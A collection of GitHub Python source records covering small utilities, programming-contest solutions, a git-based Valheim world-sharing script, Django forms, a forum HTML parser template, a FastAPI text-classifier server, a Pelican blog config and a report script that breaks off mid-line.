+{"seq_id":"19324227284","text":"import sys, os\n\n\ndef ping():\n print('pong')\n\n\nping()\n\ndef hello(name):\n print('Hello', name)\n\n\nhello('Leo')\n\n\n\ndef get_info():\n print(os.listdir())\n\n\nget_info()\n\ncommand = sys.argv[1]\n\nif command == 'ping':\n ping()\nelif command == 'list':\n get_info()\nelif command == 'name':\n # вводим второй аргумент в скрипт \"имя\"\n name = sys.argv[2]\n hello(name)","repo_name":"Buanzu/Python","sub_path":"OS_work/example_script_1.py","file_name":"example_script_1.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23549797641","text":"# Written by Nikolai Artemiev\n\nimport collections\nimport functools\nimport itertools\nimport math\nimport matplotlib.pyplot\nimport multiprocessing\nimport numpy\nimport os\nimport resource\nimport scipy\nimport sys\n\n\ndef solve(P, N):\n PL = len(P)\n f = 0\n for i in range(PL - N + 1):\n if (P[i] == 0):\n f += 1\n for j in range(N):\n P[i + j] ^= 1\n return \"IMPOSSIBLE\" if (0 in P) else f\n\n\ndef read(F):\n PS, NS = F.readline().split()\n N = int(NS)\n P = [\"-+\".index(c) for c in PS]\n return [P, N]\n\n\nif __name__ == \"__main__\":\n # Resize stack to useful size\n recursion_limit = 100000\n resource.setrlimit(resource.RLIMIT_STACK, [resource.RLIM_INFINITY, resource.RLIM_INFINITY])\n sys.setrecursionlimit(recursion_limit)\n\n input_file = \"A-large.in\"\n\n # Read cases\n with open(input_file) as F:\n T = int(F.readline())\n cases = [read(F) for case in range(T)]\n\n # Solve\n def expand_solve(args):\n return solve(*args)\n solutions = multiprocessing.Pool().map(expand_solve, cases)\n\n # Print\n for case, solution in enumerate(solutions):\n print(\"Case #{}: {}\".format(case + 1, solution))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/967.py","file_name":"967.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"4510456398","text":"\"\"\"\nThis is a script that lets you and your friends share a world without paying for a dedicated server.\nThe script makes sure that only one is hosting at a time.\n\nSetup steps:\n\n1. Put this file (asa_words.py) in a new folder\n2. Copy your current world (from ~/AppData/LocalLow/IronGate/Valheim/worlds) into a folder with the same name as the world\n e.g. If your world's name is \"MyWorld\", the structure should look like this:\n\n MyNewlyCreatedFolder/\n ├── MyWorld/\n │ ├── MyWorld.db\n │ ├── MyWorld.db.old\n │ ├── MyWorld.fwl\n │ └── MyWorld.fwl.old\n └── asa_worlds.py\n\n3. Create a git-repo in \"MyNewlyCreatedFolder\" ( git init )\n4. Create an empty GitHub-repo (no README, no nothing)\n5. Add the GitHub-repo as a remote the repo in \"MyNewlyCreatedFolder\"\n ( git remote add origin https://github.com//.git )\n6. Add push this folder to the GitHub repo\n ( git add . )\n ( git commit -m \"Initial commit\" )\n ( git branch -M main )\n ( git push -u origin/main )\n7. Start asa_worlds.py and let it run before starting Valheim ( python3 asa_worlds.py )\n8. Exit asa_worlds.py after exiting Valheim by pressing Ctrl+C\n9. Done! Invite your friends to clone the repo. OBS! They only have to do steps 7 and 8.\n\n\nP.S: SSH Authentication for GitHub is strongly recommended, as failed \n authentication isn't handled at all here.\nP.S.S: Change `WORLD_NAME` if your world name isn't \"MyWorld\".\n\"\"\"\n\nimport shutil\nimport subprocess as sp\nimport sys\nimport time\nfrom datetime import datetime\nfrom pathlib import Path\n\ntry:\n from termcolor import colored\nexcept ImportError:\n def colored(string, *args, **kwargs):\n return string\n\nWORLD_NAME = \"MyWorld\"\nHERE = Path(\".\")\nGITTED_FOLDER = HERE / WORLD_NAME\nTIME_STAMP = datetime.now().strftime(\"%d%m%Y-%H%M%S\")\n\nWORLDS_FOLDER = Path.home() / \"AppData\" / \"LocalLow\" / \"IronGate\" / \"Valheim\" / \"worlds\"\n\n\ndef mayor_print(string):\n print(colored(\"=\"*80, \"blue\", attrs=[\"bold\"]))\n print(\" \" * 19, colored(string, attrs=[\"bold\"]))\n print(colored(\"=\"*80, \"blue\", attrs=[\"bold\"]))\n\n\ndef minor_print(string):\n print(colored(\"-\" * 19, \"blue\", attrs=[\"bold\"]), string)\n\n\ndef shell_command(split_cmd, cwd=HERE):\n \"\"\" Runs a shell command and returns False if the return code is non-zero \"\"\"\n print(colored(f'Kör \"{\" \".join(split_cmd)}\"', 'blue', attrs=['bold']))\n try:\n sp.run(split_cmd, cwd=cwd, check=True)\n return True\n except sp.CalledProcessError:\n return False\n\n\ndef copy_files(file_paths, new_dir):\n assert len(list(file_paths)) == 4\n print(\"Försöker kopiera 4 filer från:\")\n print(\" \", file_paths[0].parent)\n print(\"till:\")\n print(\" \", new_dir)\n\n for file_path in file_paths:\n destination = new_dir / file_path.name\n shutil.copy(file_path.absolute(), destination.absolute())\n\n\ndef move_files(file_paths, new_dir):\n assert len(list(file_paths)) == 4\n print(\"Försöker flytta 4 filer från:\")\n print(\" \", file_paths[0].parent)\n print(\"till:\")\n print(\" \", new_dir)\n\n for file_path in file_paths:\n destination = new_dir / file_path.name\n file_path.absolute().rename(destination.absolute())\n\n\ndef backup_old_world():\n minor_print(f\"Skapar backup för {WORLD_NAME}\")\n\n backup_folder = WORLDS_FOLDER / (\"backup_\" + WORLD_NAME + \"_\" + TIME_STAMP)\n present_world_files = list(WORLDS_FOLDER.glob(WORLD_NAME + \"*\"))\n\n if len(present_world_files) == 4:\n backup_folder.mkdir()\n move_files(present_world_files, backup_folder)\n elif len(present_world_files) == 0:\n print(f'Hittade inga filer för \"{WORLD_NAME}\" i\\n\\t{WORLDS_FOLDER}')\n print(\"Antingen är den redan back-uppad eller så finns inga filer.\")\n else:\n print(\"WTH, dude. SOmething is wrong in your files\")\n print(f'hittade bara {len(present_world_files)} saker som heter \"{WORLD_NAME}\"')\n\n\ndef move_gitted_world_to_appdata():\n minor_print(\"Flyttar världsfiler från lokala repot till AppData ...\")\n\n gitted_files = list(GITTED_FOLDER.glob(WORLD_NAME + \"*\"))\n\n if len(gitted_files) == 4:\n copy_files(gitted_files, WORLDS_FOLDER)\n return True\n else:\n print(f'Satan! Inga världsfiler i repot för \"{WORLD_NAME}\"')\n print(f'Se till att flytta de filer du har i\\n\\t{WORLDS_FOLDER}')\n print(f'Till mappen \"{GITTED_FOLDER}\"')\n return False\n\n\ndef commit_world():\n minor_print(\"Commitar världen ...\")\n\n world_files_paths = list(WORLDS_FOLDER.glob(WORLD_NAME + \"*\"))\n copy_files(world_files_paths, GITTED_FOLDER)\n\n world_files_to_add = list(GITTED_FOLDER.glob(WORLD_NAME + \"*\"))\n world_files_to_add = map(Path.as_posix, world_files_to_add)\n shell_command([\"git\", \"add\", *world_files_to_add])\n shell_command([\"git\", \"commit\", \"-m\", f\"Update world {WORLD_NAME}\"])\n\n\ndef git_pull():\n minor_print(\"Pullar ...\")\n assert shell_command([\"git\", \"pull\"])\n\n\ndef git_push():\n minor_print(\"Pushar till origin/main ...\")\n assert shell_command([\"git\", \"push\", \"-u\", \"origin\", \"main\"])\n\n\ndef try_aquire_lock():\n \"\"\" Returns true if the lock is aquired, false otherwise \"\"\"\n minor_print(\"Försöker skaffa låset ...\")\n\n lock_path = GITTED_FOLDER / \"lock\"\n\n try:\n lock_path.touch()\n except FileExistsError:\n return False\n\n shell_command([\"git\", \"add\", lock_path.as_posix()])\n shell_command([\"git\", \"commit\", \"-m\", f\"Aquired lock for {WORLD_NAME}\"])\n return True\n\n\ndef release_lock():\n minor_print(\"Släpper låset ...\")\n lock_path = GITTED_FOLDER / \"lock\"\n shell_command([\"git\", \"rm\", lock_path.as_posix()])\n shell_command([\"git\", \"commit\", \"-m\", f\"Released lock for {WORLD_NAME}\"])\n\n\ndef main():\n mayor_print(\"Uppdaterar\")\n git_pull()\n\n mayor_print(\"Försöker starta\")\n if not try_aquire_lock():\n print(\"Någon använder redan världen!\")\n sys.exit(0)\n\n mayor_print(\"Bytar plats på repo-världen och det som finns i AppData ...\")\n backup_old_world()\n if not move_gitted_world_to_appdata():\n print(\"Kunde inte flytta världen till AppData :(\")\n print(\"Din förra värld är i en ny mapp. Vill du komma åt den så får du fixa't själv.\")\n sys.exit(1)\n\n mayor_print(\"Start klar!\")\n print(\"Nu kan du köra igång Valheim!\")\n print()\n print('Tryck \"Ctrl+C\" när du stängt ner servern och vill pusha världen.')\n\n try:\n # Wait for Ctrl-C.\n while True:\n time.sleep(1000)\n except KeyboardInterrupt:\n commit_world()\n release_lock()\n git_push()\n mayor_print(\"Tack haaaj!\")\n\n\ndef check_shell_program_deps(deps):\n \"\"\"\n Returns true if all deps exists on the system.\n Testing if return code from \"program --version\" is 0.\n \"\"\"\n for dep in deps:\n success = shell_command([dep, \"--version\"])\n if not success:\n print(dep, \"är nog inte installerat :(\")\n return False\n print(\"Alla skal-kommandon finns!\")\n return True\n\nif __name__ == \"__main__\":\n mayor_print(\"Kollar miljön\")\n\n # kolla om vi är på windows\n if sys.platform != \"win32\":\n print(\"Du verkar inte köra på Windows! Se till att göra det!\")\n sys.exit(0)\n\n # kolla om scriptet körs från rätt mapp\n if Path(__file__).parent.absolute() != Path.cwd().absolute():\n print(\"Fan, sorry. Men du måste vara i denna mappen:\")\n print(\" \", Path(__file__).parent.absolute())\n sys.exit(1)\n\n # kollar om grejjor är installerade.\n if not check_shell_program_deps([\"git\"]):\n sys.exit(1)\n\n # kollar om världen finns i repot.\n if not GITTED_FOLDER.exists():\n print(f'\"{GITTED_FOLDER}\" verkar inte finnas i repot. Avslutar...')\n sys.exit(1)\n\n main()\n","repo_name":"hedesandxlii/asa_worlds","sub_path":"asa_worlds.py","file_name":"asa_worlds.py","file_ext":"py","file_size_in_byte":7845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"23463564311","text":"def max_lw(x):\r\n return max([(i+1, x-1) for i in range(x/2+1)])\r\n\r\ndef can_do(x, r, c):\r\n sz = r * c\r\n if x > sz:\r\n return False\r\n if x > r and x > c:\r\n return False\r\n if sz % x != 0:\r\n return False\r\n mlw = max_lw(x)\r\n if max(mlw) > max(r, c) or min(mlw) > min(r, c):\r\n return False\r\n #if min(r, c) == x / 2 and max(r, c) == x:\r\n # print \"!!\"\r\n # return False\r\n return True\r\n\r\nif __name__ == \"__main__\":\r\n fi = open('test.in', 'r')\r\n fo = open('test.out', 'w')\r\n\r\n size = int(fi.readline())\r\n trials = []\r\n\r\n for line in fi:\r\n # X, R, C\r\n trials.append([int(n) for n in line.split()])\r\n\r\n for T, trial in enumerate(trials):\r\n x = trial[0]\r\n r = trial[1]\r\n c = trial[2]\r\n\r\n winner = \"GABRIEL\" if can_do(x, r, c) else \"RICHARD\"\r\n\r\n towrite = \"Case #{0}: {1}\".format(T+1, winner)\r\n print(towrite, trial)\r\n fo.write(towrite + \"\\n\")\r\n\r\n #print trials\r\n\r\n fi.close()\r\n fo.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/1022.py","file_name":"1022.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"17644575085","text":"from datetime import date\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom .models import Transaction, PlanningTransaction\nfrom django.forms import DateInput\n\n\ndef validate_not_future_date(value: date) -> None:\n \"\"\"\n Function to return an error if the transaction date is in the future\n \"\"\"\n if value > date.today():\n raise ValidationError({'transaction_date': [f'{value} is in the future']})\n\n\ndef validate_not_past_date(value: date) -> None:\n \"\"\"\n Function for throwing an error if the date of the planned transaction is in the past\n \"\"\"\n if value < date.today():\n raise ValidationError({'transaction_date_plan': [f'{value} is in the past']})\n\n\nclass TransactionForm(forms.ModelForm):\n class Meta:\n model = Transaction\n fields = (\n 'transaction_type', 'transaction_category', 'transaction_date', 'transaction_sum', 'transaction_comment')\n widgets = {'transaction_date': DateInput(attrs={'type': 'date'}), }\n\n def clean(self):\n \"\"\"\n clean() override for custom validators call\n \"\"\"\n super().clean()\n validate_not_future_date(self.cleaned_data.get('transaction_date'))\n\n\nclass PlanningTransactionForm(forms.ModelForm):\n class Meta:\n model = PlanningTransaction\n fields = (\n 'transaction_type_plan', 'transaction_category_plan', 'transaction_date_plan', 'transaction_sum_plan',\n 'transaction_comment_plan')\n widgets = {'transaction_date_plan': DateInput(attrs={'type': 'date'}), }\n\n def clean(self):\n \"\"\"\n clean() override for custom validators call\n \"\"\"\n super().clean()\n validate_not_past_date(self.cleaned_data.get('transaction_date_plan'))\n","repo_name":"DashaKol88/Home-Bookkeeping","sub_path":"Home_book/hbm/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"70095428036","text":"from asgiref.sync import sync_to_async\n\nfrom store.models import Product\n\n\n@sync_to_async\ndef persist_product_event(event):\n Product.objects.create(\n name=event.name,\n description=event.description,\n price=event.price\n )\n","repo_name":"Nguyen2442/cache_crud_django_example","sub_path":"consumer/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"70718977156","text":"# Jython for Topspin\n# -*- coding: utf-8 -*-\n\nfrom CPython_init import CPYTHON_BIN, CPYTHON_LIB, get_os_version\nfrom subprocess import Popen, PIPE\n\nFILE = 'hello_nmrglue.py'\nCPYTHON_FILE = CPYTHON_LIB + FILE\n\ndef fullpath(dataset):\n dat=dataset[:] # copy the original array\n if len(dat)==5: # for topspin 2\n dat[3]=\"%s/data/%s/nmr\" % (dat[3], dat[4])\n fulldata=\"%s/%s/%s/pdata/%s\" % (dat[3], dat[0], dat[1], dat[2])\n return fulldata\n\n# Get raw data\ndataset = CURDATA()\nfulldata = fullpath(dataset)\n\n# Copy data\ndataset_new = dataset[:] # copy the original array\ndataset_new[1]= INPUT_DIALOG(\n 'Copy dataset', '', ['new expno ='], [str(int(dataset[1])+100)])[0]\nXCMD(str('wrpa ' + dataset_new[1]))\nRE(dataset_new)\n\n# Verification\nfulldata_new = fullpath(CURDATA())\nif fulldata_new == fulldata:\n ERRMSG('Copy was not performed, hello_nmrglue aborted.', 'hello_nmrglue')\n EXIT()\n\n# Call to standard python\nCOMMAND_LINE = [CPYTHON_BIN, CPYTHON_FILE, fulldata_new]\nif get_os_version().startswith('windows'):\n COMMAND_LINE = \" \".join(str(elm) for elm in COMMAND_LINE)\nSHOW_STATUS('hello_nmrglue in progress, please be patient.')\np = Popen(COMMAND_LINE, stdin=PIPE, stdout=PIPE, stderr=PIPE)\noutput, err = p.communicate()\n\n# Display result\nRE(dataset_new)\nVIEWTEXT(\n title='hello_nmrglue', header='Output of hello_nmrglue script',\n text=output+'\\n'+err, modal=0)\n","repo_name":"gul916/NMR_post_proc","sub_path":"hello_nmrglue.py","file_name":"hello_nmrglue.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"31805646926","text":"from turtle import Screen\nfrom paddle import Paddle\nfrom ball import Ball\nfrom scoreboard import Scoreboard\nimport time\n\nscreen = Screen()\nscreen.setup(width=800, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(\"Pong\")\nscreen.tracer(0)\n\nscoreboard = Scoreboard()\npaddle1 = Paddle((-350, 0))\npaddle2 = Paddle((350, 0))\nball = Ball()\n\nscreen.listen()\nscreen.onkeypress(paddle2.goUp, \"Up\")\nscreen.onkeypress(paddle2.goDown, \"Down\")\nscreen.onkeypress(paddle1.goUp, \"w\")\nscreen.onkeypress(paddle1.goDown, \"s\")\n\ngame_on = True\nwhile game_on:\n time.sleep(ball.move_speed)\n screen.update()\n ball.move()\n\n # Wall collision\n if ball.ycor() > 280 or ball.ycor() < -280:\n ball.bounceWall()\n\n # Paddle collision\n if ball.distance(paddle2.pos()) < 50 and ball.xcor() > 320 or ball.distance(paddle1.pos()) < 50 and ball.xcor() < -320:\n ball.bouncePaddle()\n\n # P1 Miss\n if ball.xcor() < -380:\n ball.reset()\n scoreboard.p2_point()\n\n # P2 miss\n if ball.xcor() > 380:\n ball.reset()\n scoreboard.p1_point()\n\n\nscreen.exitonclick()\n","repo_name":"kazukiSR/pong","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"70890038593","text":"#! /usr/bin/env python\n#From http://scipy-cookbook.readthedocs.io/items/SWIG_NumPy_examples.html\n# System imports\nfrom distutils.core import *\nfrom distutils import sysconfig\n\nimport numpy\n\ntry:\n numpy_include = numpy.get_include()\nexcept AttributeError:\n numpy_include = numpy.get_numpy_include()\n\n_cmandel = Extension(\"_cmandel\",\n [\"cmandel.i\",\"cmandel.c\"],\n include_dirs = [numpy_include],\n )\n\nsetup( name = \"mandelbrot\",\n description = \"calculata mandebrot\",\n\n author = \"Finn-Haakon\",\n version = \"1.0\",\n ext_modules = [_cmandel]\n )\n","repo_name":"fhtuft/inf4331","sub_path":"assignment4/mandelbrot/swig/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"4234760923","text":"# -- coding: utf-8 --\nimport os\nimport re\nfrom collections import OrderedDict\nimport traceback\nimport json\nimport utils\nimport datetime\nfrom lxml.html import fromstring\n\n\nfrom .base_template import BaseTemplate\n\n\nclass AntichatParser(BaseTemplate):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.parser_name = \"antichat.ru\"\n self.thread_name_pattern = re.compile(\n r'(\\d+).*html'\n )\n self.avatar_name_pattern = re.compile(r'.*/(\\w+\\.\\w+)')\n self.files = self.get_filtered_files(kwargs.get('files'))\n self.comments_xpath = '//ol[@class=\"messageList\"]/li'\n self.header_xpath = '//ol[@class=\"messageList\"]/li'\n self.date_xpath = '//div[@class=\"privateControls\"]'\\\n '//span[@class=\"DateTime\"]/@title|'\\\n '//div[@class=\"privateControls\"]'\\\n '//abbr[@class=\"DateTime\"]/@data-datestring'\n self.date_pattern = '%d %b %Y'\n self.author_xpath = 'div//div[@class=\"uix_userTextInner\"]/a[@class=\"username\"]//text()'\n self.title_xpath = '//div[@class=\"titleBar\"]/h1/text()'\n self.post_text_xpath = 'div//blockquote[contains(@class,\"messageText\")]//text()'\n self.comment_block_xpath = 'div//div[@class=\"messageDetails\"]/a/text()'\n self.avatar_xpath = 'div//div[@class=\"uix_avatarHolderInner\"]/a/img/@src'\n self.moderator_avartar_xpath = 'div//div[@class=\"uix_avatarHolderInner\"]/a[contains(@href,\"members/1/\")]'\n # main function\n self.main()\n\n def get_author(self, tag):\n author = tag.xpath(self.author_xpath)\n if author:\n author = ''.join(author).strip()\n return author\n else:\n moderator_avartar = tag.xpath(self.moderator_avartar_xpath)\n if moderator_avartar:\n return 'moderator'\n else:\n return ''\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"templates/antichat_template.py","file_name":"antichat_template.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15140174384","text":"from finetune import Classifier\nfrom fastapi import Request, FastAPI\nimport pandas as pd\n\nmodelpath_liar = '/home/masterg/Documents/8th Semester/Social Computing/NoProp/Model/liar_BERT'\nmodelpath_prop = '/home/masterg/Documents/8th Semester/Social Computing/NoProp/Model/proppy_BERT'\n\nmodel_liar = None\nmodel_prop = None\ndf = None\n\napp = FastAPI()\n\n\n@app.on_event('startup')\nasync def startup_event():\n global model_liar\n model_liar = Classifier.load(modelpath_liar)\n global model_prop\n model_prop = Classifier.load(modelpath_prop)\n global df\n df = pd.read_csv('labels.csv')\n\n\ndef normalize_url(source):\n source = source.replace(\"http://\", \"\")\n source = source.replace(\"https://\", \"\")\n source = source.replace(\"www.\", \"\")\n source = source.replace(\"/\", \"\")\n return source\n\n\n@app.post('/')\nasync def hello_world(request: Request):\n data = await request.json()\n res = {}\n try:\n res = df[df['source_url_normalized'] == normalize_url(\n data['source'])].to_dict('records')[0]\n res['valid'] = True\n predictions_prop = model_prop.predict(data['article'])\n predictions_liar = model_liar.predict(data['article'])\n print(predictions_liar, predictions_prop)\n res[\"prop\"] = str(predictions_prop[0])\n res[\"liar\"] = str(predictions_liar[0])\n except IndexError:\n print(\"source not in list\")\n res = {\"valid\": False}\n return res\n","repo_name":"abhigyanghosh30/NoProp","sub_path":"Backend/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"20377238481","text":"from dataclasses import dataclass\nfrom meya.element.field import element_field\nfrom meya.element.field import response_field\nfrom meya.text.component.ask import AskValidationError\nfrom meya.text.component.ask.catchall import AskCatchallComponent\nfrom meya.text.ignorecase import IgnorecaseMixin\nfrom meya.text.trigger.regex import RegexTrigger\nfrom meya.text.trigger.regex import RegexTriggerResponse\nfrom meya.trigger.entry.activate import TriggerActivateEntry\nfrom meya.util.dict import from_dict\nfrom typing import Any\nfrom typing import Optional\n\n\n@dataclass\nclass AskRegexComposerComponentOkResponse:\n result: str = response_field(sensitive=True)\n groups: dict = response_field(sensitive=True)\n ok: bool = response_field(default=True)\n\n\n@dataclass\nclass AskRegexComponent(AskCatchallComponent, IgnorecaseMixin):\n \"\"\"\n Get basic text input from the user and validate the input against the\n specified regex pattern.\n\n ```yaml\n - ask: What's your postal code?\n regex: >\n ^\n ([A-Za-z]\\d[A-Za-z])\n [ -]?\n (?P\\d[A-Za-z]\\d)\n $\n error_message: Invalid postal code, please try again.\n retries: .inf\n ```\n\n Which produces the following output:\n\n \n\n ### Input validation\n Once the user submits their input, it is evaluated against the specified\n regex pattern, and if the pattern matches then the component will store the\n value in `(@ flow.result )` in your app's [flow scope](https://docs.meya.ai/docs/scope#flow) data. If\n you use regex groups the group results will also be stored in the flow scope\n in `(@ flow.groups )`.\n\n Note, Meya uses the [Python regular expression syntax](https://docs.python.org/3/library/re.html#regular-expression-syntax) for all regex patterns.\n\n ### Retries\n By default the component will retry until the user's input matches the input.\n However, you can override this by setting an explicit `retries` value.\n\n The component will continue to the next flow step once the retry value has\n been reached. In this case `(@ flow.result )` will be `None`.\n \"\"\"\n\n regex: str = element_field(\n signature=True,\n help=(\n \"The regex (regular expression) pattern to validate the user \"\n \"input against.\"\n ),\n )\n ignorecase: Optional[bool] = element_field(\n default=None,\n help=(\n \"Ignore the case of the user input when validating against the \"\n \"regex pattern.\"\n ),\n )\n\n def trigger(self, data: Any = None) -> TriggerActivateEntry:\n return RegexTrigger(\n regex=self.regex,\n ignorecase=self.ignorecase,\n confidence=self.confidence,\n action=self.get_next_action(data=data),\n ).activate()\n\n async def next_response(self) -> Any:\n encrypted_trigger_response = from_dict(\n RegexTriggerResponse, self.entry.data\n )\n match_result = encrypted_trigger_response.result\n match_groups = encrypted_trigger_response.groups\n\n if self.catchall and not match_result:\n raise AskValidationError()\n\n return AskRegexComposerComponentOkResponse(\n result=match_result, groups=match_groups\n )\n","repo_name":"meya-customers/meya-sdk","sub_path":"meya/text/component/ask_regex/ask_regex.py","file_name":"ask_regex.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"69883948355","text":"menu = {\"pizza\": 3.00,\n \"nachos\": 4.50,\n \"popcorn\": 6.00,\n \"fries\": 2.50,\n \"chips\": 1.00,\n \"pretzel\": 3.50,\n \"soda\": 3.00,\n \"lemonade\": 4.25}\ncart=[]\ntotal=0\n\nprint(\"-----Menu-----\")\nfor food,price in menu.items():\n print(f\"{food:10}: {price:.2f}\")\n\nwhile True:\n food=input(\"Please Select a food Item (q to quit)\").lower()\n if food=='q':\n break\n elif(menu.get(food)is not None):\n cart.append(food)\n\nprint(\"-----Your Oder-----\")\nfor food in cart:\n total+=menu.get(food)\n print(food,end=\" \")\n\nprint()\nprint(f\"Your Total is $ {total}\")","repo_name":"RohanDebnath/Python","sub_path":"Bro Code/26_Food Order.py","file_name":"26_Food Order.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"74726036674","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = \"Diego Quintana\"\nSITENAME = \"Moving rocks around\"\nSITEURL = \"\"\n\nPATH = \"content\"\n\nTIMEZONE = \"Europe/Madrid\"\n\nDEFAULT_LANG = \"en\"\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Blogroll\n# LINKS = (('Pelican', 'http://getpelican.com/'),\n# ('Python.org', 'http://python.org/'),\n# ('Jinja2', 'http://jinja.pocoo.org/'),\n# ('You can modify those links in your config file', '#'),)\n\n# Social widget\n# SOCIAL = (('You can add links in your config file', '#'),\n# ('Another social link', '#'),)\n\nDEFAULT_PAGINATION = 5\n\n# publish everything as draft unless explictly specified otherwise\nDEFAULT_METADATA = {\"status\": \"draft\"}\n\n# Uncomment following line if you want document-relative URLs when developing\n# RELATIVE_URLS = True\nTHEME = \"themes/pelican-alchemy/alchemy\"\n\nMARKUP = (\"md\", \"ipynb\")\n\nfrom pelican_jupyter import markup as nb_markup\n\nPLUGINS = [nb_markup]\n\n# pelican-resume settings\n# https://github.com/cmenguy/pelican-resume#settings\n\n# RESUME_SRC\n# RESUME_PDF\n# RESUME_TYPE\n# RESUME_CSS_DIR\n\n# --- pelican-alchemy settings --------------------------------------\n# https://github.com/nairobilug/pelican-alchemy/wiki/Settings\n\nSITESUBTITLE = \"Diego Quintana's blog\"\nSITEIMAGE = \"/images/profile.jpg width=400 height=400\"\nHIDE_AUTHORS = True\n\nICONS = (\n (\"github\", \"https://github.com/diegoquintanav\"),\n (\"linkedin\", \"https://www.linkedin.com/in/diego-quintana-valenzuela/\"),\n (\"stack-overflow\", \"https://stackoverflow.com/users/5819113/bluesmonk\"),\n (\"spotify\", \"https://open.spotify.com/user/11102438968?si=a22574d2e0214ba8\"),\n)\n\nSTATIC_PATHS = [\"extras\", \"images\"]\n# PYGMENTS_STYLE = 'monokai'\nPYGMENTS_STYLE = \"borland\"\n# RFG_FAVICONS = True\nTHEME_CSS_OVERRIDES = [\"theme/css/customstyle.css\"]\nDIRECT_TEMPLATES = [\"index\", \"tags\", \"categories\", \"authors\", \"archives\", \"sitemap\"]\n\n# --- pelican plugins settings ---------------------\n\n# ipynb\n# if you create jupyter files in the content dir, snapshots are saved with the same\n# metadata. These need to be ignored.\nIGNORE_FILES = [\".ipynb_checkpoints\"]\nIPYNB_GENERATE_SUMMARY = True\nIPYNB_FIX_CSS = True\nIPYNB_EXPORT_TEMPLATE = \"./themes/nb_templates/custom.tpl\"\n\nMARKDOWN = {\n \"extension_configs\": {\n \"markdown.extensions.toc\": {\"title\": \"\"},\n \"markdown.extensions.codehilite\": {\"css_class\": \"highlight\"},\n \"markdown.extensions.extra\": {},\n \"markdown.extensions.meta\": {},\n },\n \"output_format\": \"html5\",\n}\n","repo_name":"diegoquintanav/diegoquintanav.github.io","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"13215847851","text":"from getReportData import getReportData\nimport pandas as pd\nimport numpy as np\nimport scipy.stats\nimport sys\nfrom datetime import datetime\n\ndef processReportData(sitename):\n\treportdata = getReportData(sitename)\n\n\tFirstDCsize=int(reportdata[\"sysinfo\"][\"DC size\"])\n\tDegradation=reportdata[\"sysinfo\"][\"Yearly Module Degradation\"]\n\tdegradation=float(Degradation.strip(\"%\").strip(\"-\"))/100\n\t\n\tfulldatamonths=reportdata[\"fulldatamonths\"]\n\tfulldatapoints=reportdata[\"fulldatapoints\"]\n\trecentdatamonths=reportdata[\"recentdatamonths\"]\n\taltusbaseline=reportdata['altusbaseline']\n\tpercentup=reportdata['percentUp']\n\t\n\ttmy=reportdata[\"tmy\"]\n\tproduction=reportdata[\"production\"]\n\tstartdate=reportdata['sysinfo'][\"Analysis Start Date\"]\n\tMaturity=int(reportdata['sysinfo']['Maturity'])\n\n\tPOA=reportdata[\"sysinfo\"]['POA (kWh/m^d2)']#Baseline POA\n\tPOAfactor=float(reportdata['sysinfo']['P50 POA factor']) #one number: 1.14\n\tP50_POA=float(reportdata['sysinfo']['P50 POA'])#1590.3\n\tPRratio=float(reportdata['sysinfo']['Performance Ratio'].strip('%'))/100#81.61%\n\tNetOutput=reportdata['sysinfo']['Net Output (mWh)']\n\tP50_GHI=float(reportdata['sysinfo']['P50 GHI'])\n\tfirstmonth=reportdata[\"fulldatamonths\"][11]\n\tfirstfulldatamonth=reportdata[\"fulldatamonths\"][0]\n\tfirstrecentdatamonth=reportdata[\"recentdatamonths\"][0]\n\n#1.2 Irradaince table\n\tmonthlyibmdata={}\n\tmonthlynreldata={}\n\tmonthlyalsodata={}\n\tfor i in range(1,13):\n\t\tmonthlyibmdata[i]=[]\n\t\tmonthlynreldata[i]=[]\n\t\tmonthlyalsodata[i]=[]\n\n\tfor (t,d) in 